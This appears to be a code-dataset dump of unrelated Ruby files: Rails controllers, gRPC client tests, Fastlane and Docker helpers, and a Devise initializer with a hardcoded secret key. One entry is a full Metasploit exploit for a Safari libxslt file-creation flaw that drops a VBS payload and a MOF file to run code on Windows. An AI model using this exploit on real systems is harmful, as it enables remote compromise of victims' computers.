hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
abd678d2a15af58ef155a3381c5c409a339437e5 | 98 | # frozen_string_literal: true
class HelpController < ApplicationController
def index
end
end
| 14 | 44 | 0.806122 |
1aecfbbe4343a08281d098e95c79ef36a7ac29ff | 349 | Execute.define_task do
desc "secret", "Generate a cryptographically secure secret session key"
def secret
begin
require 'securerandom'
puts SecureRandom.hex(64)
rescue LoadError
puts "Missing secure random generator. Try running `rhoconnect secret` in a rails application instead."
end #begin
end #secret
end #do | 31.727273 | 110 | 0.724928 |
1a6b432a50596871932c096400228e6741888fc4 | 88 | # frozen_string_literal: true
class Profile < ApplicationRecord
belongs_to :user
end
| 14.666667 | 33 | 0.806818 |
4ae99f3fd1f6076a9991aca8a4371ad886d56d1f | 109 | $LOAD_PATH.unshift File.expand_path("../../lib", __FILE__)
require "harvest/api"
require "minitest/autorun"
| 21.8 | 58 | 0.743119 |
7a29f4ae1e07b40cecc7453ed452fdea4878eb40 | 370 | begin
require 'spec'
rescue LoadError
require 'rubygems'
gem 'rspec'
require 'spec'
end
# this is my favorite way to require ever
begin
require 'mocha'
rescue LoadError
require 'rubygems'
gem 'mocha'
require 'mocha'
end
Spec::Runner.configure do |config|
config.mock_with :mocha
end
$:.unshift(File.dirname(__FILE__) + '/../lib')
require 'fsevents'
| 15.416667 | 46 | 0.713514 |
b94541af0d19ff8fce372378d505764a973e92ae | 1,634 | require "commander"
require "fastlane_core"
require "supply"
HighLine.track_eof = false
module Supply
class CommandsGenerator
include Commander::Methods
FastlaneCore::CommanderGenerator.new.generate(Supply::Options.available_options)
def self.start
new.run
end
def run
program :name, 'supply'
program :version, Fastlane::VERSION
program :description, Supply::DESCRIPTION
program :help, 'Author', 'Felix Krause <[email protected]>'
program :help, 'Website', 'https://fastlane.tools'
program :help, 'GitHub', 'https://github.com/fastlane/fastlane/tree/master/supply'
program :help_formatter, :compact
always_trace!
global_option('--verbose') { $verbose = true }
command :run do |c|
c.syntax = 'supply'
c.description = 'Run a deploy process'
c.action do |args, options|
Supply.config = FastlaneCore::Configuration.create(Supply::Options.available_options, options.__hash__)
load_supplyfile
Supply::Uploader.new.perform_upload
end
end
command :init do |c|
c.syntax = 'supply init'
c.description = 'Sets up supply for you'
c.action do |args, options|
require 'supply/setup'
Supply.config = FastlaneCore::Configuration.create(Supply::Options.available_options, options.__hash__)
load_supplyfile
Supply::Setup.new.perform_download
end
end
default_command :run
run!
end
def load_supplyfile
Supply.config.load_configuration_file('Supplyfile')
end
end
end
| 25.936508 | 113 | 0.655447 |
33be770755233adfcabf2234337d49f8782167f5 | 1,396 | require_relative 'docker_service'
module Dory
class Proxy
extend Dory::DockerService
def self.dory_http_proxy_image_name
setting = Dory::Config.settings[:dory][:nginx_proxy][:image]
return setting if setting
certs_dir && !certs_dir.empty? \
? 'codekitchen/dinghy-http-proxy:2.5.9' \
: 'freedomben/dory-http-proxy:2.5.9.1'
end
def self.container_name
Dory::Config.settings[:dory][:nginx_proxy][:container_name]
end
def self.certs_dir
Dory::Config.settings[:dory][:nginx_proxy][:ssl_certs_dir]
end
def self.certs_arg
if certs_dir && !certs_dir.empty?
"-v #{certs_dir}:/etc/nginx/certs"
else
''
end
end
def self.tls_arg
if [:tls_enabled, :ssl_enabled, :https_enabled].any? { |s|
Dory::Config.settings[:dory][:nginx_proxy][s]
}
"-p 443:443"
else
''
end
end
def self.run_command
"docker run -d -p 80:80 #{self.tls_arg} #{self.certs_arg} "\
"-v /var/run/docker.sock:/tmp/docker.sock -e " \
"'CONTAINER_NAME=#{Shellwords.escape(self.container_name)}' --name " \
"'#{Shellwords.escape(self.container_name)}' " \
"#{Shellwords.escape(dory_http_proxy_image_name)}"
end
def self.start_cmd
"docker start #{Shellwords.escape(self.container_name)}"
end
end
end
| 25.851852 | 78 | 0.616046 |
e29347505e9fd796d062132f4e4d6ccb52a797dc | 92 | module Checkoutfi
module Test
autoload :Actions, 'checkout_fi/test/actions'
end
end
| 15.333333 | 49 | 0.75 |
b997f8d7b28d6abede0e2aa605bf5e543f1ea30b | 11,616 | # frozen_string_literal: true
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "simplecov"
require "minitest/autorun"
require "gapic/grpc/service_stub"
require "google/cloud/dialogflow/v2/entity_type_pb"
require "google/cloud/dialogflow/v2/entity_type_services_pb"
require "google/cloud/dialogflow/v2/entity_types"
class ::Google::Cloud::Dialogflow::V2::EntityTypes::OperationsTest < Minitest::Test
class ClientStub
attr_accessor :call_rpc_count, :requests
def initialize response, operation, &block
@response = response
@operation = operation
@block = block
@call_rpc_count = 0
@requests = []
end
def call_rpc *args
@call_rpc_count += 1
@requests << @block&.call(*args)
yield @response, @operation if block_given?
@response
end
end
def test_list_operations
# Create GRPC objects.
grpc_response = ::Google::Longrunning::ListOperationsResponse.new
grpc_operation = GRPC::ActiveCall::Operation.new nil
grpc_channel = GRPC::Core::Channel.new "localhost:8888", nil, :this_channel_is_insecure
grpc_options = {}
# Create request parameters for a unary method.
name = "hello world"
filter = "hello world"
page_size = 42
page_token = "hello world"
list_operations_client_stub = ClientStub.new grpc_response, grpc_operation do |name, request, options:|
assert_equal :list_operations, name
assert_kind_of ::Google::Longrunning::ListOperationsRequest, request
assert_equal "hello world", request.name
assert_equal "hello world", request.filter
assert_equal 42, request.page_size
assert_equal "hello world", request.page_token
refute_nil options
end
Gapic::ServiceStub.stub :new, list_operations_client_stub do
# Create client
client = ::Google::Cloud::Dialogflow::V2::EntityTypes::Operations.new do |config|
config.credentials = grpc_channel
end
# Use hash object
client.list_operations({ name: name, filter: filter, page_size: page_size, page_token: page_token }) do |response, operation|
assert_kind_of Gapic::PagedEnumerable, response
assert_equal grpc_response, response.response
assert_equal grpc_operation, operation
end
# Use named arguments
client.list_operations name: name, filter: filter, page_size: page_size, page_token: page_token do |response, operation|
assert_kind_of Gapic::PagedEnumerable, response
assert_equal grpc_response, response.response
assert_equal grpc_operation, operation
end
# Use protobuf object
client.list_operations ::Google::Longrunning::ListOperationsRequest.new(name: name, filter: filter, page_size: page_size, page_token: page_token) do |response, operation|
assert_kind_of Gapic::PagedEnumerable, response
assert_equal grpc_response, response.response
assert_equal grpc_operation, operation
end
# Use hash object with options
client.list_operations({ name: name, filter: filter, page_size: page_size, page_token: page_token }, grpc_options) do |response, operation|
assert_kind_of Gapic::PagedEnumerable, response
assert_equal grpc_response, response.response
assert_equal grpc_operation, operation
end
# Use protobuf object with options
client.list_operations ::Google::Longrunning::ListOperationsRequest.new(name: name, filter: filter, page_size: page_size, page_token: page_token), grpc_options do |response, operation|
assert_kind_of Gapic::PagedEnumerable, response
assert_equal grpc_response, response.response
assert_equal grpc_operation, operation
end
# Verify method calls
assert_equal 5, list_operations_client_stub.call_rpc_count
end
end
def test_get_operation
# Create GRPC objects.
grpc_response = ::Google::Longrunning::Operation.new
grpc_operation = GRPC::ActiveCall::Operation.new nil
grpc_channel = GRPC::Core::Channel.new "localhost:8888", nil, :this_channel_is_insecure
grpc_options = {}
# Create request parameters for a unary method.
name = "hello world"
get_operation_client_stub = ClientStub.new grpc_response, grpc_operation do |name, request, options:|
assert_equal :get_operation, name
assert_kind_of ::Google::Longrunning::GetOperationRequest, request
assert_equal "hello world", request.name
refute_nil options
end
Gapic::ServiceStub.stub :new, get_operation_client_stub do
# Create client
client = ::Google::Cloud::Dialogflow::V2::EntityTypes::Operations.new do |config|
config.credentials = grpc_channel
end
# Use hash object
client.get_operation({ name: name }) do |response, operation|
assert_kind_of Gapic::Operation, response
assert_equal grpc_response, response.grpc_op
assert_equal grpc_operation, operation
end
# Use named arguments
client.get_operation name: name do |response, operation|
assert_kind_of Gapic::Operation, response
assert_equal grpc_response, response.grpc_op
assert_equal grpc_operation, operation
end
# Use protobuf object
client.get_operation ::Google::Longrunning::GetOperationRequest.new(name: name) do |response, operation|
assert_kind_of Gapic::Operation, response
assert_equal grpc_response, response.grpc_op
assert_equal grpc_operation, operation
end
# Use hash object with options
client.get_operation({ name: name }, grpc_options) do |response, operation|
assert_kind_of Gapic::Operation, response
assert_equal grpc_response, response.grpc_op
assert_equal grpc_operation, operation
end
# Use protobuf object with options
client.get_operation ::Google::Longrunning::GetOperationRequest.new(name: name), grpc_options do |response, operation|
assert_kind_of Gapic::Operation, response
assert_equal grpc_response, response.grpc_op
assert_equal grpc_operation, operation
end
# Verify method calls
assert_equal 5, get_operation_client_stub.call_rpc_count
end
end
def test_delete_operation
# Create GRPC objects.
grpc_response = ::Google::Protobuf::Empty.new
grpc_operation = GRPC::ActiveCall::Operation.new nil
grpc_channel = GRPC::Core::Channel.new "localhost:8888", nil, :this_channel_is_insecure
grpc_options = {}
# Create request parameters for a unary method.
name = "hello world"
delete_operation_client_stub = ClientStub.new grpc_response, grpc_operation do |name, request, options:|
assert_equal :delete_operation, name
assert_kind_of ::Google::Longrunning::DeleteOperationRequest, request
assert_equal "hello world", request.name
refute_nil options
end
Gapic::ServiceStub.stub :new, delete_operation_client_stub do
# Create client
client = ::Google::Cloud::Dialogflow::V2::EntityTypes::Operations.new do |config|
config.credentials = grpc_channel
end
# Use hash object
client.delete_operation({ name: name }) do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Use named arguments
client.delete_operation name: name do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Use protobuf object
client.delete_operation ::Google::Longrunning::DeleteOperationRequest.new(name: name) do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Use hash object with options
client.delete_operation({ name: name }, grpc_options) do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Use protobuf object with options
client.delete_operation ::Google::Longrunning::DeleteOperationRequest.new(name: name), grpc_options do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Verify method calls
assert_equal 5, delete_operation_client_stub.call_rpc_count
end
end
def test_cancel_operation
# Create GRPC objects.
grpc_response = ::Google::Protobuf::Empty.new
grpc_operation = GRPC::ActiveCall::Operation.new nil
grpc_channel = GRPC::Core::Channel.new "localhost:8888", nil, :this_channel_is_insecure
grpc_options = {}
# Create request parameters for a unary method.
name = "hello world"
cancel_operation_client_stub = ClientStub.new grpc_response, grpc_operation do |name, request, options:|
assert_equal :cancel_operation, name
assert_kind_of ::Google::Longrunning::CancelOperationRequest, request
assert_equal "hello world", request.name
refute_nil options
end
Gapic::ServiceStub.stub :new, cancel_operation_client_stub do
# Create client
client = ::Google::Cloud::Dialogflow::V2::EntityTypes::Operations.new do |config|
config.credentials = grpc_channel
end
# Use hash object
client.cancel_operation({ name: name }) do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Use named arguments
client.cancel_operation name: name do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Use protobuf object
client.cancel_operation ::Google::Longrunning::CancelOperationRequest.new(name: name) do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Use hash object with options
client.cancel_operation({ name: name }, grpc_options) do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Use protobuf object with options
client.cancel_operation ::Google::Longrunning::CancelOperationRequest.new(name: name), grpc_options do |response, operation|
assert_equal grpc_response, response
assert_equal grpc_operation, operation
end
# Verify method calls
assert_equal 5, cancel_operation_client_stub.call_rpc_count
end
end
def test_configure
grpc_channel = GRPC::Core::Channel.new "localhost:8888", nil, :this_channel_is_insecure
client = block_config = config = nil
Gapic::ServiceStub.stub :new, nil do
client = ::Google::Cloud::Dialogflow::V2::EntityTypes::Operations.new do |config|
config.credentials = grpc_channel
end
end
config = client.configure do |c|
block_config = c
end
assert_same block_config, config
assert_kind_of ::Google::Cloud::Dialogflow::V2::EntityTypes::Operations::Configuration, config
end
end
| 36.87619 | 190 | 0.717631 |
61c0e61fae96b29769f57ae74a4da3f3311bb97b | 226 | require 'nokogiri'
require 'open-uri'
class CliEplTable::Scraper
# scrape premierleague.com/tables for the html
def self.scrape_site
doc = Nokogiri::HTML(open("https://www.premierleague.com/tables"))
end
end | 25.111111 | 71 | 0.721239 |
e26b080f1540bce03f34c43477af1dc6da9068f7 | 922 | # Copyright (C) 2004-2007 Kouichirou Eto, All rights reserved.
# License: Ruby License
require "osx/cocoa"
require "sgl/sgl-color"
require "sgl/cocoa-event"
require "sgl/cocoa-window"
require "sgl/cocoa-draw"
require "sgl/cocoa-color"
require "sgl/cocoa-media"
module SGL
class Application
def initialize
initialize_cocoa
initialize_window
initialize_color
initialize_event
end
def initialize_cocoa
OSX.ruby_thread_switcher_start(0.001, 0.01)
Thread.abort_on_exception = true
@app = OSX::NSApplication.sharedApplication
mainmenu = OSX::NSMenu.alloc.init
@app.setMainMenu(mainmenu)
end
private :initialize_cocoa
def run
OSX.NSApp.run
OSX::NSEvent.stopPeriodicEvents
end
def stop
close_window
OSX.NSApp.stop(nil)
OSX::NSEvent.startPeriodicEventsAfterDelay(0.01, :withPeriod, 0.01)
end
end
end
| 20.954545 | 73 | 0.698482 |
f8b00985ada0b2abef0c60b833c811497e42fba6 | 715 | module HeadshotSupport
def headshot_file_path
file_name = "headshot_capture_#{headshot_file_timestamp}.jpg"
File.join(Rails.root, 'public', 'headshots', file_name)
end
def headshot_image_url(file_name)
'http://' + request.host_with_port + '/headshots/' + file_name
end
def headshot_save_image(file_path, raw_jpeg_data)
if raw_jpeg_data
begin
File.open(file_path, 'wb') do |file|
file.write raw_jpeg_data
end
rescue
raise "Headshot: cannot save headshot on #{file_path}. Please check file permissions."
end
else
return nil
end
true
end
def headshot_file_timestamp
"#{rand(10000)}_#{Time.now.to_i}"
end
end
| 23.064516 | 94 | 0.672727 |
4a1686f131b754d51edefe876ddf016bb7118620 | 4,789 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'Apple Safari Webkit libxslt Arbitrary File Creation',
'Description' => %q{
This module exploits a file creation vulnerability in the Webkit
rendering engine. It is possible to redirect the output of a XSLT
transformation to an arbitrary file. The content of the created file must be
ASCII or UTF-8. The destination path can be relative or absolute. This module
has been tested on Safari and Maxthon. Code execution can be acheived by first
uploading the payload to the remote machine in VBS format, and then upload a MOF
file, which enables Windows Management Instrumentation service to execute the VBS.
},
'License' => MSF_LICENSE,
'Author' => ['Nicolas Gregoire'],
'References' =>
[
['CVE', '2011-1774'],
['OSVDB', '74017'],
['URL', 'http://lists.apple.com/archives/Security-announce/2011/Jul/msg00002.html'],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
},
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' =>
[
#Windows before Vista
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 20 2011'))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Check target before attacking
agent = request.headers['User-Agent']
if agent !~ /Windows NT 5\.1/ or agent !~ /Safari\/5/ or agent =~ /Chrome/
print_error("This target isn't supported: #{agent.to_s}")
send_not_found(cli)
return
end
url = "http://"
url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"
content = <<-EOS
<?xml-stylesheet type="text/xml" href="#fragment"?>
<!-- Define the DTD of the document
This is needed, in order to later reference the XSLT stylesheet by a #fragment
This trick allows to have both the XML and the XSL in the same file
Cf. http://scarybeastsecurity.blogspot.com/2011/01/harmless-svg-xslt-curiousity.html -->
<!DOCTYPE doc [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED
>]>
<doc>
<!-- Define location and content of the files -->
<mof>
<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\wbem\\mof\\#{@mof_name}]]></location>
<content><![CDATA[#{@mof_content}]]></content>
</mof><vbs>
<location><![CDATA[\\\\.\\GLOBALROOT\\SystemRoot\\system32\\#{@vbs_name}]]></location>
<content><![CDATA[#{@vbs_content}]]></content>
</vbs>
<!-- The XSLT stylesheet header, including the "sx" extension -->
<xsl:stylesheet id="fragment" version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:sx="http://icl.com/saxon"
extension-element-prefixes="sx"
xmlns="http://www.w3.org/1999/xhtml" >
<xsl:output method="xml" indent="yes" />
<!-- The XSLT template -->
<xsl:template match="/">
<!-- Define some XSLT variables -->
<xsl:variable name="moflocation" select="//mof/location/text()"/>
<xsl:variable name="vbslocation" select="//vbs/location/text()"/>
<!-- Create the files -->
<sx:output file="{$vbslocation}" method="text">
<xsl:value-of select="//vbs/content"/>
</sx:output>
<sx:output file="{$moflocation}" method="text">
<xsl:value-of select="//mof/content"/>
</sx:output>
<!-- Some output to the browser -->
<html> </html>
</xsl:template>
</xsl:stylesheet>
</doc>
EOS
#Clear the extra tabs
content = content.gsub(/^ {4}/, '')
print_status("Sending #{self.name}")
send_response(cli, content, {'Content-Type'=>'application/xml'})
handler(cli)
end
def exploit
# In order to save binary data to the file system the payload is written to a VBS
# file and execute it from there via a MOF
@mof_name = rand_text_alpha(rand(5)+5) + ".mof"
@vbs_name = rand_text_alpha(rand(5)+5) + ".vbs"
print_status("Encoding payload into vbs...")
payload = generate_payload_exe
@vbs_content = Msf::Util::EXE.to_exe_vbs(payload)
print_status("Generating mof file...")
@mof_content = generate_mof(@mof_name, @vbs_name)
super
end
end
| 32.578231 | 112 | 0.630403 |
115b988b3d52bfb6951eacbaafd8a74064067775 | 1,443 | class PhotoMigration < ActiveRecord::Base
#<PhotoMigration id: 1, county_id: 149,
# graveyard_id: 1, contributor_id: 1,
# contributor_name: "hucke",
# old_path: "/IL/Cook/qi/acaciapark.jpg",
# graveyard_name: "Acacia Park Cemetery",
# created_at: "2014-05-25 23:06:48",
# updated_at: "2014-05-25 23:06:48">
attr_accessor :photo
def to_photo
@photo = Photo.new(
:user_id => contributor_id,
:graveyard_id => graveyard_id,
:migration_id=>self.id,
:migration_notes => "#{old_path};#{contributor_name}",
:old_path => physical_path,
:status=>100
)
end
def physical_path
"/www/graveyards4/htdocs#{old_path}"
end
def install_file
@photo.save! unless @photo.id
move_from = self.physical_path
move_to = @photo.path.physical
@photo.path.real_dir! # make directory
# puts "mv #{move_from} #{move_to}"
unless File.exist?(move_from)
self.status = 'missing'
self.save
raise "source path missing: #{move_from}"
end
if File.exist?(move_to)
self.status = 'collision'
self.save
raise "dest path exists: #{move_to}"
end
FileUtils.mv move_from, move_to, :verbose=>true
end
def perform!
p = self.to_photo
p.save
install_file
self.status = 'success'
self.save
rescue Exception => ex
puts "ERROR IN #{self.id}: #{ex.message}"
@photo.delete if @photo
sleep 5
end
end
| 22.546875 | 60 | 0.638254 |
1c4339f338f6e313656d3bf5362e5da2b5892c15 | 674 | #!/usr/bin/env ruby
require 'ffi'
module Fortran
extend FFI::Library
ffi_lib "./libpartitions.so"
attach_function :partitions_, [ :pointer, :pointer ], :int
end
deck = ([4]*9)
deck << 16
d = 0
for i in 0..9
# Dealer showing
deck[i] = deck[i]-1
p = 0
for j in 0..9
deck[j] = deck[j]-1
cards = FFI::MemoryPointer.new(:int,deck.size)
cards.put_array_of_int(0,deck)
subtotal = FFI::MemoryPointer.new(:int,1)
subtotal.put_int(0,j+1)
n = Fortran.partitions_(cards,subtotal)
deck[j] = deck[j]+1
p += n
end
print("Dealer showing #{i} partitions = #{p}\n")
d += p
deck[i] = deck[i]+1
end
print("Total partitions = #{d}\n")
| 18.722222 | 60 | 0.614243 |
086265de190667b8dada995acf30ec575f25d145 | 1,066 | class AssetSubtypeReport < AbstractReport
def initialize(attributes = {})
super(attributes)
end
def summarize(assets, subtypes)
a = []
labels = ['Asset Subtype', 'Count']
subtypes.each do |x|
count = assets.where(asset_subtype_id: x.id).count
a << [x.name, count] unless count == 0
end
return {:labels => labels, :data => a}
end
def get_data_from_collection(assets)
summarize(assets, AssetSubtype.all)
end
def get_data(organization_id_list, params)
# Check to see if we got an asset type to sub select on
if params[:report_filter_type]
report_filter_type = params[:report_filter_type].to_i
else
report_filter_type = 0
end
if report_filter_type == 0
subtypes = AssetSubtype.all
else
subtypes = AssetSubtype.where(asset_type_id: report_filter_type)
end
assets = Rails.application.config.asset_base_class_name.constantize.where(organization_id: organization_id_list)
return summarize(assets, subtypes)
end
end
| 23.173913 | 116 | 0.674484 |
33b0a4431fdc6ff5912c9c31a5a9a3fec05bf6ba | 311 | class CreateUser
include Interactor
delegate :user_params, to: :context
def call
context.user = User.new(user_params)
context.fail!(error_data: error_data) unless context.user.save
end
private
def error_data
{ message: "Record Invalid", detail: context.user.errors.to_a }
end
end
| 17.277778 | 67 | 0.720257 |
01a061c9c559105a02fe723504c12db06ad400e1 | 250 | module Types
class MutationType < Types::BaseObject
field :add_book, mutation: Mutations::AddBookMutation
field :update_book, mutation: Mutations::UpdateBookMutation
field :delete_book, mutation: Mutations::DeleteBookMutation
end
end
| 31.25 | 63 | 0.784 |
62404de99f3286c08c457df9ed52ef222562d28b | 567 | require_relative 'boot'
require 'rails/all'
Bundler.require(*Rails.groups)
require "component_one"
module Dummy
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 5.2
# Settings in config/environments/* take precedence over those specified here.
# Application configuration can go into files in config/initializers
# -- all .rb files in that directory are automatically loaded after loading
# the framework and any gems in your application.
end
end
| 28.35 | 82 | 0.767196 |
114d2ef9a167267abbcedb32a84a3f174ff5450c | 2,709 | class SchedulesController < ApplicationController
before_filter :require_logged_user, :only => [:new, :create, :edit, :update]
def new
@schedule = Schedule.new
auxiliary_objetcs
redirect_to root_path, :notice => t("flash.unauthorized_access") unless authorized_access?(@event)
end
def create
@schedule = Schedule.new(params[:schedule])
auxiliary_objetcs
if @schedule.save
@schedule.update_counter_of_users_talks params[:old_talk_id], params[:talk_id]
redirect_to event_path(@event), :notice => t("flash.schedules.create.notice")
else
render :new
end
end
def edit
@schedule = Schedule.find(params[:id])
auxiliary_objetcs
redirect_to root_path, :notice => t("flash.unauthorized_access") unless authorized_access?(@event)
end
def update
@schedule = Schedule.find(params[:id])
auxiliary_objetcs
if @schedule.update_attributes(params[:schedule])
@schedule.update_counter_of_users_talks params[:old_talk_id], params[:talk_id]
redirect_to event_path(@event), :notice => t("flash.schedules.update.notice")
else
render :edit
end
end
def search_talks
search = params[:search]
unless search.blank?
@talks = Talk.fulltext_search(search, :index => 'fulltext_index_talks', :published => [ true ])
end
respond_to do |format|
format.json { render :json => @talks }
end
end
def add_vote
@event = Event.find(params[:event_id])
@schedule = Schedule.find(params[:id])
begin
@vote = Vote.create(:schedule => @schedule, :user => current_user)
@schedule.set_counter(:votes, :inc)
rescue
end
redirect_to "/events/#{@event._slugs[0]}#schedule", :notice => t("flash.schedules.vote.add")
end
def remove_vote
@event = Event.find(params[:event_id])
@schedule = Schedule.find(params[:id])
begin
@vote = Vote.find_by(:schedule => @schedule, :user => current_user)
@vote.destroy
@schedule.set_counter(:votes, :dec)
rescue
end
redirect_to "/events/#{@event._slugs[0]}#schedule", :notice => t("flash.schedules.vote.remove")
end
private
def auxiliary_objetcs
@event = Event.find(params[:event_id])
@activities = Activity.all.order_by(:order => :asc)
event_dates = (@[email protected]_date).to_a
@dates = ""
day = 1
event_dates.each do |date|
selected = @schedule.day == day ? "selected='selected'" : ""
@dates += "<option value='#{day}' #{selected}>#{date}</option>"
day += 1
end
@talk_title = @schedule.talk? ? @schedule.talk.title : ""
@display = @schedule.talk? ? "block" : "none"
end
end | 23.763158 | 102 | 0.653008 |
181c1bee0e8788158525eb5f5a74a089a137bc0a | 116 | $LOAD_PATH.unshift File.expand_path("../../lib", __FILE__)
require "yandex/translator"
require "minitest/autorun"
| 19.333333 | 58 | 0.75 |
e9be1923743fb01e90ac5a78e798a98a1f706d57 | 366 | require 'appstore_kit_fork/models/model'
module AppstoreKitFork
# Simple model class for representing Apps
class App < Model
attr_reader :bundle_id, :name, :sku
def initialize(options)
super(options)
attrs = options['attributes']
@bundle_id = attrs['bundleId']
@name = attrs['name']
@sku = attrs['sku']
end
end
end
| 20.333333 | 44 | 0.655738 |
e26e9d710982f9a4c0ecbf1a8cee8a573711d0b2 | 12,751 | # Use this hook to configure devise mailer, warden hooks and so forth.
# Many of these configuration options can be set straight in your model.
Devise.setup do |config|
# The secret key used by Devise. Devise uses this key to generate
# random tokens. Changing this key will render invalid all existing
# confirmation, reset password and unlock tokens in the database.
config.secret_key = 'b31b7013f53076efb989751535de43552c06bd6ef2e2e1f719189fcc44f384738f51e4e3d58deb69c98f65b7cf61e96e9ad310130f30563a57412bb89bca51db'
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in Devise::Mailer,
# note that it will be overwritten if you use your own mailer class
# with default "from" parameter.
config.mailer_sender = '[email protected]'
# Configure the class responsible to send e-mails.
# config.mailer = 'Devise::Mailer'
# ==> ORM configuration
# Load and configure the ORM. Supports :active_record (default) and
# :mongoid (bson_ext recommended) by default. Other ORMs may be
# available as additional gems.
require 'devise/orm/active_record'
# ==> Configuration for any authentication mechanism
# Configure which keys are used when authenticating a user. The default is
# just :email. You can configure it to use [:username, :subdomain], so for
# authenticating a user, both parameters are required. Remember that those
# parameters are used only when authenticating and not when retrieving from
# session. If you need permissions, you should implement that in a before filter.
# You can also supply a hash where the value is a boolean determining whether
# or not authentication should be aborted when the value is not present.
# config.authentication_keys = [ :email ]
# Configure parameters from the request object used for authentication. Each entry
# given should be a request method and it will automatically be passed to the
# find_for_authentication method and considered in your model lookup. For instance,
# if you set :request_keys to [:subdomain], :subdomain will be used on authentication.
# The same considerations mentioned for authentication_keys also apply to request_keys.
# config.request_keys = []
# Configure which authentication keys should be case-insensitive.
# These keys will be downcased upon creating or modifying a user and when used
# to authenticate or find a user. Default is :email.
config.case_insensitive_keys = [ :email ]
# Configure which authentication keys should have whitespace stripped.
# These keys will have whitespace before and after removed upon creating or
# modifying a user and when used to authenticate or find a user. Default is :email.
config.strip_whitespace_keys = [ :email ]
# Tell if authentication through request.params is enabled. True by default.
# It can be set to an array that will enable params authentication only for the
# given strategies, for example, `config.params_authenticatable = [:database]` will
# enable it only for database (email + password) authentication.
# config.params_authenticatable = true
# Tell if authentication through HTTP Auth is enabled. False by default.
# It can be set to an array that will enable http authentication only for the
# given strategies, for example, `config.http_authenticatable = [:database]` will
# enable it only for database authentication. The supported strategies are:
# :database = Support basic authentication with authentication key + password
# config.http_authenticatable = false
# If 401 status code should be returned for AJAX requests. True by default.
# config.http_authenticatable_on_xhr = true
# The realm used in Http Basic Authentication. 'Application' by default.
# config.http_authentication_realm = 'Application'
# It will change confirmation, password recovery and other workflows
# to behave the same regardless if the e-mail provided was right or wrong.
# Does not affect registerable.
# config.paranoid = true
# By default Devise will store the user in session. You can skip storage for
# particular strategies by setting this option.
# Notice that if you are skipping storage for all authentication paths, you
# may want to disable generating routes to Devise's sessions controller by
# passing skip: :sessions to `devise_for` in your config/routes.rb
config.skip_session_storage = [:http_auth]
# By default, Devise cleans up the CSRF token on authentication to
# avoid CSRF token fixation attacks. This means that, when using AJAX
# requests for sign in and sign up, you need to get a new CSRF token
# from the server. You can disable this option at your own risk.
# config.clean_up_csrf_token_on_authentication = true
# ==> Configuration for :database_authenticatable
# For bcrypt, this is the cost for hashing the password and defaults to 10. If
# using other encryptors, it sets how many times you want the password re-encrypted.
#
# Limiting the stretches to just one in testing will increase the performance of
# your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use
# a value less than 10 in other environments. Note that, for bcrypt (the default
# encryptor), the cost increases exponentially with the number of stretches (e.g.
# a value of 20 is already extremely slow: approx. 60 seconds for 1 calculation).
config.stretches = Rails.env.test? ? 1 : 10
# Setup a pepper to generate the encrypted password.
# config.pepper = 'e3c65fe13211b013f12dd478a744a722e1405f458507e5bb8921bab7604b5722e18baf44ad0306c4970b96dde26305316d4ed810ee3c1ae7ae9133c863a406ec'
# ==> Configuration for :confirmable
# A period that the user is allowed to access the website even without
# confirming their account. For instance, if set to 2.days, the user will be
# able to access the website for two days without confirming their account,
# access will be blocked just in the third day. Default is 0.days, meaning
# the user cannot access the website without confirming their account.
# config.allow_unconfirmed_access_for = 2.days
# A period that the user is allowed to confirm their account before their
# token becomes invalid. For example, if set to 3.days, the user can confirm
# their account within 3 days after the mail was sent, but on the fourth day
# their account can't be confirmed with the token any more.
# Default is nil, meaning there is no restriction on how long a user can take
# before confirming their account.
# config.confirm_within = 3.days
# If true, requires any email changes to be confirmed (exactly the same way as
# initial account confirmation) to be applied. Requires additional unconfirmed_email
# db field (see migrations). Until confirmed, new email is stored in
# unconfirmed_email column, and copied to email column on successful confirmation.
config.reconfirmable = true
# Defines which key will be used when confirming an account
# config.confirmation_keys = [ :email ]
# ==> Configuration for :rememberable
# The time the user will be remembered without asking for credentials again.
# config.remember_for = 2.weeks
# Invalidates all the remember me tokens when the user signs out.
config.expire_all_remember_me_on_sign_out = true
